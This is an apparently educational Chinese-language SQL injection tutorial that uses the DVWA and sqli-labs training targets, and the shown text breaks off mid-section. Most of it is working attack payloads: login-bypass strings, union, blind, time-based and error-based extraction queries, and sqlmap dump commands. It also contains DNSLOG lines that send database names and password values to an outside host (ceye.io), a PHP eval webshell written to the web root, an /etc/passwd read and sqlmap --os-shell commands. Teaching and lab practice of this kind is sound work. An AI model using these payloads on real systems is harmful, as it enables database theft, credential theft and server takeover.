SQL注入
原文:
201-A3-SQL注入(上) · Farmsec Open Source (fsec.io)
201-A4-SQL注入(中) · Farmsec Open Source (fsec.io)
201-A5-SQL注入(下) · Farmsec Open Source (fsec.io)
1.SQL注入的概念
SQL注入 (SQL Injection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
首先让我们了解什么时候可能发生SQL Injection。
假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。
2.SQL注入的安全隐患
一旦应用中存在sql注入漏洞,就可能会造成如下影响:
- 数据库内的信息全部被外界窃取。
- 数据库中的内容被篡改。
- 登录认证被绕过
- 其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。
3. SQL注入产生的过程
如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试:
select * from users where username='farmsec' and password='123456'`
在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录: farmsec' --
应用程序将执行以下查询:
select * from users where username='farmsec' --' and password='sadfas'
于是乎这个查询完全避开了密码检查。
这也引出了经典的万能密码问题。
有些网站的登录页面其背后的逻辑就是上文中的语句。
我们可以在密码部分注入:’or 1=1 –
那么整个句子就变成:
select * from users where username='farmsec' and password=''or 1=1 --
因为1永远等于1,登录验证就会被绕过。
一些常见的万能密码形式:
'or'='or'
admin'--
admin' or 4=4--
admin' or '1'='1'--
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
4.SQL注入的分类
SQL注入根据不同的分类方法会有多种类别。但依照最大的区别特征而言,主要分为显注和盲注两类。
显注是指,当攻击者拼接SQL语句注入时,网站会把SQL语句的执行结果显示在网页上。
盲注与显著相反,网站不会把SQL语句的执行结果显示出来。盲注还分为时间性盲注和布尔型两者,这会在后文中详述。
5.SQL注入案例
5.1 显注案例
登录访问DVWA,默认用户名:admin密码:password,登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。 1、找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1,可以得到如下结果
当将输入变为'
时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。
因为我们推测,网站程序中的SQL查询语句可能是这样的:
select * from XXX where id='$用户输入'
当我们输入'
时,语句变为了:
select * from XXX where id='''
如此,这个搜索语句多余一个引号,会引发报错。同时,这也代表了,攻击者是可以对原有程序进行拼接与注入的,只要尽力构造攻击语句,就可以对后端数据库为所欲为。
为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:
1' and 1=1#
1' and 1=2#
其中#
与--
同理,属于SQL语句的注释符号,会使其后面的语句无效。
那么理想中,原有语句会被拼接成这样。
select * from XXX where id='1' and 1=1#'
select * from XXX where id='1' and 1=2#'
前一个执行为真,应与输入1时结果相同,后一个执行结果为假,应当不返还结果。
由此我们确认了,这个漏洞真实存在,而且后续有可以完全被攻击者操作。
接下来,我们可以有order by num语句查询该数据表的字段数量。
我们输入 1' order by 1#
结果页面正常显示。继续测试,1' order by 2#
,1' order by 3#
,当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause'
,由此我们判断查询结果值为2列。
接下来利用联合查询,查看一下我们要查询的数据会被回显到哪里。
这里尝试注入 1' and 1=2 union select 1,2 #
从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user()
,及database()
,version()
注入得出连接数据库用户以及数据库名称:
我们注入:
1' and 1=2 union select user(),database() #
获得操作系统信息:
1' and 1=2 union select 1,@@global.version_compile_os from mysql.user #
为了获取到整个数据库的特征。我们要首先介绍一下,mysql和MariaDB数据库的一个特征,即information_schema库。
information_schema 库用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema
库中的SCHEMATA
表存储了数据库中的所有库信息,TABLES
表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS
表存储表中的列信息,包括表有多少列、每个列的类型等
构造以下语句可以查到所有的库名。
1' and 1=2 union select 1,schema_name from information_schema.schemata #
接下来,我们查看dvwa库中的所有表名。
1'and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#
攻击者往往关心存储管理员用户与密码信息的表。所以接下来就是users表了。要查询users表中所有的列。
1'and 1=2 union select 2,column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
最后我们查看,user和password两列的信息。
1'and 1=2 union select user,password from dvwa.users#
就这样我们就爆出所有的用户名和密码值!不过,这密码是经过md5加密的。我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。我们选择admin这个来进行破解,md5密文为:5f4dcc3b5aa765d61d8327deb882cf99。 可以看到密码已经被破解出来了,密码是“password”
5.2 盲注案例
进入渗透环境DVWA,在左边的选项里选择SQL Injection(Blind),进入实验环境。 我们可以看到:在应用界面里有一个可编辑的文本框,旁边有个按钮。这时候,我们输入1试试看。 出现了这么一行字:User ID exists in the database。大概意思是:数据库里存在ID为1的用户。那么这个应用的功能我们就大致知道了。——访问者输入一个用户ID,应用返回存不存在该用户。
那么我们故技重施,输入'
来查看数据库是否会报错。
很不幸,没有报错,只返回不存在该用户。
这就是盲注,页面不会显示数据库的查询结果。只会表现出两种状态:查询成功、查询失败。
为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:
1' and 1=1#
1' and 1=2#
到此我们知道了,网页虽然不会回显数据库执行结果,但我们可以构造语句,让网页不停地显示是和否两种状态。
比如:输入1。结果为真。
输入:1’ and 1=1# 就是查询1,并且1等于1。and 代表两个条件需要都为真。所以1’ and 1=1#
结果为真,1’ and 1=2#
结果为假。
我们也可以构造1’ or 1=2#
,结果应当为真。
原理如下:
我们先猜测一下这里的SQL语句是:select name from user where id=''
当我们输入1' and 1=0#
时,这段sql语句就变成: select name from user where id='1' and 1=0#'
原先的逻辑是::从user表中挑出name列的内容,条件是id=1现在变成:从user表中挑出name列的内容,条件是id=1和1=0,数学课都学过逻辑吧,在和连接起来的两个条件里,只要有一个是假,那么这整个的逻辑就是假。1=0是永假,所以id=1 and 1=0也为假。所以,这条SQL查询不返回任何数据,所以应用显示:User ID is MISSING from the database. 在我们输入:1’ and 1=1#时,应用显示User ID exists in the database。而SQL注入漏洞的本质是把用户输入的数据当做代码来执行,所以我们判断此处存在SQL注入。
如果我们通过构造sql语句不停的确认是否,就可以得到数据库的一切信息。比如,不停的问,数据库里有1张表吗?两张表吗?三张表吗?
第一张表的表名是4个字吗?5个字吗?。第一张表的表名第一个字母是a吗?是b吗?是c吗?如果网页能够一直告诉我这些问题的是否。我们必然能获取所有数据。像这种能用是与否的逻辑进行注入的盲注,被称为布尔型盲注(Boolean注入)。
让我们用上述思路尝试一下:
输入:1' and length(user())>5#
1后面的单引号闭合前面语句。 length()
函数会返回括号内的字符串长度,例如length(’abc‘)
返回3。函数user()
能查询数据库的用户名。length(user())
即会查询用户名的长度。 这句话的逻辑很简单,如果当前用户名字的长度大于5,则整个条件为真,数据库就去查询有无ID为1的用户,而我们知道ID为1的用户是存在的。所以应用一定会返回:User ID exists in the database. 如果当前用户名字的长度小于5,应用则会返回User ID is MISSING from the database. 虽然我们不能让应用显示详细信息,但我们可以让它回答:是或否。 我们来看看结果: 应用返回真,于是我们知道了当前用户名的长度大于5。
我们接着输入:1' and length(user())>20#
。
应用返回假,于是,我们知道了当前用户名的长度小于20大于5。
我们反复执行这个过程,会越来越缩小范围。最终可以用等于确定。
1' and length(user())=14#
到此我们确定了用户名长度为14。
开始确定用户名,因为我们只能让web应用回复:是或否。 所以我们只能一个字母一个字母来猜。 输入:1' and substring(user(),1,1)='a'#
这里的substring()函数的作用是提取字符串中的字符.例如:
substring('abcd',1,1) #返回a
substring('abcd',3,1) #返回c
substring('abcd',3,2) #返回cd
所以注入这个SQL语句的目的就是要取出当前用户名字的第一个字母,用二分法来找出这个字母是什么,接着找第二个字母,然后第三个……
计算机看不懂字符,必须以0和1的形式转化字符。所以每个字符都有个特定的二进制数来表示。而具体用哪些二进制数字表示哪个符号,当然每个人都可以约定自己的一套(这就叫编码),而大家如果要想互相通信而不造成混乱,那么大家就必须使用相同的编码规则,于是美国有关的标准化组织就出台了ASCII编码 在ASCII编码里,大写字母A的acsii最小,依次排下去,到大写字母Z,隔几个别的字符,然后到小写字母a。
运用二分法,我们继续注入:1' and substring(user(),1,1)<'z'#
所以范围在小写a-z之间
1' and substring(user(),1,1)='r'#
然后就是第二个字母。 注入:1' and substring(user(),2,1)>'a'#
注入:1' and substring(user(),2,1)<'z'#
我们继续注入:1' and substring(user(),2,1)>'h'#
注入:1' and substring(user(),2,1)='o'#
后续依此逻辑可以得到全部14位的用户名;
1' and substring(user(),3,1)='o'#
1' and substring(user(),4,1)='t'#
1' and substring(user(),5,1)='@'#
1' and substring(user(),6,1)='l'#
1' and substring(user(),7,1)='o'#
1' and substring(user(),8,1)='c'#
1' and substring(user(),9,1)='a'#
1' and substring(user(),10,1)='l'#
1' and substring(user(),11,1)='h'#
1' and substring(user(),12,1)='o'#
1' and substring(user(),13,1)='s'#
1' and substring(user(),14,1)='t'#
最终得到,用户名为:root@localhost
如果想猜测当前数据库,其原理也和上文一样。
首先猜数据库的长度(方法和上方一样),经过注入发现长度为4 1' and length(database())=4#
然后,依次注入4位数据库库名的字母。
1' and substring(database(),1,1)='d'#
1' and substring(database(),2,1)='v'#
1' and substring(database(),3,1)='w'#
1' and substring(database(),4,1)='a'#
得到当前数据库库名为dvwa
5.2.1 盲注库名
我们可以依照显著的顺序,构造盲注的攻击语句。从而拿下整个数据库。
比如,显著查找数据库库名:
1' and 1=2 union select 1,schema_name from information_schema.schemata #
盲注更加复杂一些,要分解为以下几个步骤:
1.注入查询有几个库
1' and (select count(schema_name) from information_schema.schemata) =6 #
2.注入第一个库名长度
1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
## limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 2,3代表截取从第三行到第五行。
3.注入第一个库名
1' and substring((select schema_name from information_schema.schemata limit 0,1),1,1)='i' #
1' and substring((select schema_name from information_schema.schemata limit 0,1),2,1)='n' #
这两条也可以用ASCII码代替。
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110 #
事实上这个库名我们知道是默认的information_schema
5.2.2 盲注表名
与上面的逻辑一样。盲注表名也分为三个步骤:1.盲注查询库内有多少个表;2.盲注查询库内第一个表表名的长度;3.盲注查询库内第一个表的表名
1.盲注查询库内有多少个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
2.盲注查询库内第一个表表名的长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15 #
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9 #
3.盲注查询库内第一个表的表名
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='u' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))='e' #
依照此逻辑可以依次推出余下字符
接下来也可以推第二张表
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='u' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))='s' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))='e' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))='r' #
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))='s' #
5.2.3 盲注列名
逻辑与上文是一样的,三步骤。
1.判断users表中有多少列。
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
2.判断每一列的列名长:
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 0,1))=7#
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1))=4#
1' and length((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1))=8#
3.判断第四列列名。
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),1,1))='u'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),2,1))='s'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),3,1))='e'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 3,1),4,1))='r'#
4.判断第五列列名。
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),1,1))='p'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),2,1))='a'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),3,1))='s'#
1' and (substr((select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 4,1),4,1))='s'#
(后略)
5.2.4 盲注数据
数据库名,表名,列名,现在都推出来了,现在则是查看列里的内容。
1' and (select count(*) from dvwa.users)=5# (判断列中有几条记录)
1' and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)
1' and substr((select user from users limit 0,1),1,1)='a' # (判断user这一列的第一条记录的第一个字段是否为a)
1' and substr((select user from users limit 0,1),2,1)='d'# (判断user这一列的第一条记录的第二个字段是否为d)
1' and substr((select user from users limit 1,1),1,1)>'g'# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)
5.3 时间盲注
这个例子出自sqli-labs靶场的第九关。
靶场下载地址为:https://github.com/Audi-1/sqli-labs
我们发现id=1和id=1’并没有明显区别,没有报错,也没有发现是与否的关系。
这种情况下就可以考虑盲注的另外一种形式,时间注入
时间盲注与布尔型注入的区别在于,时间注入是利用sleep()或benchmark()等函数让数据库执行的时间变长。
时间盲注多与if函数结合使用。如:if(a,b,c)
,此if语句的含义是,如果a为真则返回值为b,否则返回值为c。
如:if(length(database())>1,sleep(5),1)
它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。
下面我们注入1%27%20and%20if(length(database())>1,sleep(5),1)--+
%27为引号的url编码。
来看。
可以看到,一旦我们构造出结果为真的条件,网页(后端数据库)响应就会延迟。
我们把前文学到的盲注语句嵌入到刚刚的if、sleep组成的句子中,就可以完成接下来的注入了。
1%27%20and%20if($盲注语句,sleep(5),1)--+
6. sqlmap工具
sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它是由python语言编写而成。因此使用sqlmap时,需要在python环境中运行。在kali中集成了这个工具使用sqlmap命令即可调用。
sqlmap最基本的语法是`
sqlmap -u "$url" --dbs #注入这个URL,注入出库名。
以DVWA为例,由于DVWA需要登录,没有cookie是无法访问这个网站的。所以还需要指定cookie参数。
sqlmap -u "$url" --cookie="$cookie" --dbs
sqlmap -u "http://192.168.43.252/vulnerabilities/sqli/?id=12&Submit=Submit" --cookie="PHPSESSID=iuefue0ve30qnodkna7j236e82; security=low; security_level=0" --dbs
如果注入点所在是一个POST请求的网页,或者你不想指定cookie这样麻烦。也可以在burp中保存请求包为一个文件,再用sqlmap中的-r
参数指定这个文件。
sqlmap -r 1.txt --dbs
sqlmap常见参数:
-u #指定url
-r #指定文件
-p #指定注入点
--cookie #指定cookie
--dbs #注入库名
--D #指定库名
--tables #注入表名
-T #指定表名
--columns #注入列名
-C #指定列名
--dump #注入数据
继续以DVWA为例子,注入dvwa库下的表名
sqlmap -r 1.txt -D dvwa --tables
注入dvwa库下,users表下的列名。
sqlmap -r 1.txt -D dvwa -T users --columns
以url中的id为注入点,注入dvwa库下,users表下的password列的数据。
sqlmap -r 1.txt -p id -D dvwa -T users -C password --dump
7. 不同请求方式的注入
7.1 get请求方式的SQl注入
例子出自sqli-labs,less-1
按照提示输入合法参数 ?id=1
用burpsuite对页面进行抓包 可以发现,http使用的是get请求,同时在URL中也可以看得到参数的传递。
尝试在输入中加入’ 检查是否存在注入点。 发现输入后,页面有提示错误,表示有注入点。
使用sqlmap进行注入测试 使用命令:sqlmap -u "http://192.168.0.180/sqli-labs/Less-1/?id=1" -p id
7.2 post请求方式的注入
打开靶机sqli-labs,进入less-11页面
先使用dumb用户进行登录。
尝试抓包查看数据包 发现这里用的是post请求,同时URL中也不再显示参数。
尝试通过修改数据包的post参数,加入’测试能否注入 发现web报错,说明有注入点。
使用sqlmap进行注入测试 使用sqlmap -r测试。
8. 特殊位置的注入
8.1 存在于cookie中的注入
打开靶sqli-labs,Less-20页面。
输入正常参数进行测试 发现有两个页面
使用burpsuite进行扫描 第二个数据包cookie存在注入点。
使用sqlmap进行注入测试 sqlmap -u "http://192.168.0.180/sqli-labs/Less-20/index.php" --risk=3 --level=5 --cookie="uname=Dumb"
8.2 存在于User-Agent 中的注入
打开靶机sqli-labs,Less-18页面
请求正文中的uname和passwd的值一定要是数据库中存在的用户名和对应的密码,因为这关代码会先判断数据库中是否有该用户名和密码的用户,如果有才会将User-Agent和客户端ip信息写入数据库
burp抓包在User-Agent中加入引号进行测试
发现浏览器存在报错,存在注入点
在brupsuite的repeater选项卡中。
注入' or updatexml(0,concat(0x2b5e,version()),0),",")#
关于这个语句的含义,将在后文中详述。这里只是举例,sql注入存在的特殊位置。
可以发现注入出了数据库版本。
注入' or updatexml(0,concat(0x2b5e,database()),0),",")#
可以发现注入出数据库名。
9.利用DNSLOG注入
在前面的章节中,我们已经学习了DNS的原理和DNS服务的搭建。当DNS服务被请求时,会在DNSlog中留下相应的日志。
这种特性可以帮助我们在许多没有回显的漏洞利用中得到便利。
善于使用这个机制,可以在windows搭载数据库的环境中将盲注变为显注。
SELECT first_name, last_name FROM users WHERE user_id = '1' and LOAD_FILE(CONCAT('\\\\',(select database(),'ubs9hj.ceye.io')))#'
1' and SELECT LOAD_FILE(CONCAT('\\\\',database(),'ubs9hj.ceye.io'))#
1'select load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#'
select load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'));
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#'
1' and 1=2 union select 2,load_file(concat('\\\\',database(),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users' limit 1,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select user from dvwa.users limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1' and 1=2 union select 2,load_file(concat('\\\\',(select password from dvwa.users limit 0,1),'.ubs9hj.ceye.io\\AB'))#
1'and 1=2 union select user,password from dvwa.users#
select column_name from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
10.基于报错的注入
基于报错的注入有很多种形式。
这里主要介绍利用XPath语法错误进行注入和主键重复报错注入。
10.1 利用XPath语法错误进行注入
这里选用sqli-lab靶场的第六关。
可以看到这个报错回显在页面上,可能有sql注入。
利用xpath语法错误来进行报错注入主要利用extractvalue
和updatexml
两个函数。 使用条件:mysql版本>5.1.5
extractvalue函数
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
常见用法:
id=" and(select extractvalue("anything",concat('~',(注入语句))))
id=" and(select extractvalue(1,concat('~',(select database()))))
id=" and(select extractvalue(1,concat(0x7e,@@version)))
注:
0x7e 是~的asccii码
concat(‘a’,‘b’)=“ab”
version()=@@version
‘~‘可以换成’#’、’$'等不满足xpath格式的字符
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
updatexml函数与extractvalue函数极为相似。
id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))
当concat函数内拼接出的字符不符合xpath格式时,会报错,并将报错结果带回来。
and (select updatexml(1,concat('~',(select database())),1))
" and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
" and (select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
10.2 利用主键重复报错进行注入
利用concat+rand()+group_by()导致主键重复。数据库会报错然后将查询结果返回。
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
一个常见的语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
让我们逐步拆解这个语句。
rand():生成0~1之间的随机数。
floor函数,其功能是向下取整。
那么floor(rand(0)*2)),rand():生成0到1之间的随机数。乘以二就是0到2之间的随机数,向下取整,结果只能是0和1.
groud by 对数据进行分组,可以看到原本结果只有0和1,于是只分成了两组。
count(*)简单说就是个计数的函数;这里和group by合用用来计算每个分组出现的次数。
那么最终的payload是:
' union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个很大的表" group by x)a--+
这里表示,按照x分组,x分组为floor(rand(0)*2
产生的随机值即0和1。因为rand()函数会因为表有很多行而执行多次,产生多个0和1。
所以,当在group by对其进行分组的时候,会不断的产生新分组,当其反复执行,发先分组1已结存在时,就有会报错。
' union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+
' union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
11.二阶注入
二次注入,可以概括为以下两步: • 第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
• 第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
这个例子出自sqli-lab的24关。
首先注册一个admin'#
的用户。
然后更改admin'#
的用户的密码。
而实际上,此次更改的是用户admin
的密码。
12.宽字节注入
宽字节注入是数据库编码采用GBK编码时所产生的漏洞。尽管现在使用GBK编码的数据库已不多见,但由于这个漏洞绕过网站转义机制的经典性,仍然具有很大的启发意义。
下图为MariaDB默认的编码,通过 alter database [数据库名] character set [字符集名]
,可以修改数据库编码。如果改为GBK编码,这一漏洞就会存在。
下面的例子出自sqli-lab的第32关。
当我们输入'
时,会发现网站防御机制利用\
对'
进行了转义,使其被看做一个字符而非数据库查询语句。
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%ab%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围,如%ab,%df)。网站在过滤 ‘ 的时候,往往是利用反斜杠转义将 '
转换为 \'
。所以如果我们输入%ab%27(%27就是单引符号会被转义成\'
也就是%5c%27
),在后台%ab
会将%5c
“吃掉”,组成一个汉字(%ab%5c是一个汉字)。
如下图,出现数据库报错,说明单引号起作用了。
接下来就可以利用手工注入进行余下的部分了。
13. 堆叠注入攻击
数据库的堆叠查询可以执行多条语句,多语句之间可以用分号隔开。
堆叠注入就是利用这个特点,可以在第二个SQL语句中构造自己要执行的语句。
以下例子出自sqli-lab第38关。
注入如下语句:
1';update users set password='123456' where username='Dumb';--+
14.利用SQL注入读取与写入文件
14.1 利用SQL注入读取文件
利用load_file()函数可以读取数据库有权限读取的文件。
如,读/etc/passwd
1' and 1=2 union select 1,load_file('/etc/passwd');#
14.2 利用SQL注入写入文件
利用outfile函数可以在数据库有写权限的目录写入文件。
14.2.1 将数据库查询结果写入文件
如将对user和password的查询结果写入/var/www/html目录下命名为1.bak的文件中:
1' and 1=2 union select user,password from users into outfile '/var/www/dvwaplus/1.bak'#
出现这种报错是因为数据库在/var/www/html目录下没有写入权限。
我们作弊,给这个目录777权限。然后重新执行此语句。
查看服务器发现文件成功写入 或者通过web下载文件。
其中密码为MD5加密的值,可以在MD5在线解密网站解密https://www.bejson.com/enc/md5dsc/
14.1.2 写入一句话木马
利用outfile函数可以将一句话木马写入到一个文件内,并保存在数据库有写入权限的web路径下。
1' and 1=2 union select 1,'<?php @eval($_POST[123])?>' into outfile '/var/www/dvwaplus/tq.php'#
我们作弊查看服务器该路径,发现已经写入了文件。
浏览器访问这个文件,发现其存在,空白说明php代码已被解析。
我们可以用Cknife工具连接这个webshell
14.1.3 利用sqlmap获得shell权限
Sqlmap证明存在注入并确保有dba权限。所谓DBA权限就是数据库的最大权限。在MariaDB数据库中一般为root。在sql注入中,只要注入权限为DBA用户所管理的库时,才能行使数据库的完整权限,执行文件写入等操作。前文手注写入木马也是基于这个前提。
sqlmap -u "http://192.168.10.112/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vmhebkhe3pl91nmpij1kfnr7f7; security=low" --is-dba
current user is DBA: True
代表其具备DBA权限。
在sqlmap中--os-shell
代表sqlmap将尝试获取shell。
sqlmap -u "http://192.168.10.112/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vmhebkhe3pl91nmpij1kfnr7f7; security=low" --os-shell
选择对相应的中间件类型,这里用的lamp,所以选PHP
选择2制定web站点路径
输入上传目录/var/www/html
获得os shell
15. SQL注入的一些细节
当我们远程测试网站是否存在SQL注入,常常需要通过推理来进行大量测试。即看到网页上的执行结果,推理后台数据库是如何操作的。
1. 可能存在SQL注入的功能点
SQL注入可以出现在任何从系统或接受用户输入的前段应用程序中。
换句话说,每个前端与后端数据库有交互的地方,都有可能存在SQL注入漏洞。
比如最常见的是在搜索和登录功能。但其他与数据库交互的地方也值得注意:如cookie中,XFF中。
2. 闭合
在存在注入点的网页上,其后端代码可能是如下的几种格式:
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";
此时我们构造sql语句注入时,则要考虑闭合前面的引号括号。
因为如果注入后,破坏了原有的闭合,那么注入也会失败,所以闭合很重要,决定了最后是否可以注入成功。
如:
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
注入 1' or 1=1 --+
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
常见的闭合形式:
原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
闭合代码:
1' #
1" #
1') #
") #
')) #
常见的注释截断方法:
#
/*
-- -
;%00
`
最后,可以用and1=1,or 1=1 等语句确认闭合完成,漏洞存在。
3. 测试列数
除了前文中提到的 order by 语句以外。
也可以用如下的形式来探测:
http://www.foo.com/index.asp?id=12+union+select+null,null--
不断增加 null
至不返回。
4. 探测数据库指纹
在此前的实验中,我们都是使用MariaDB作为后端数据库的,其属于mysql系列数据库。
如果后端数据库不同,那么SQL注入的语句也会不同。有几种探测数据库指纹信息:
- 第一种方法找出使用后端数据库是通过观察返回的错误应用程序。 以下是一些例子的错误消息:
MySql:
You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1
Oracle:
ORA-00933: SQL command not properly ended
MS SQL Server:
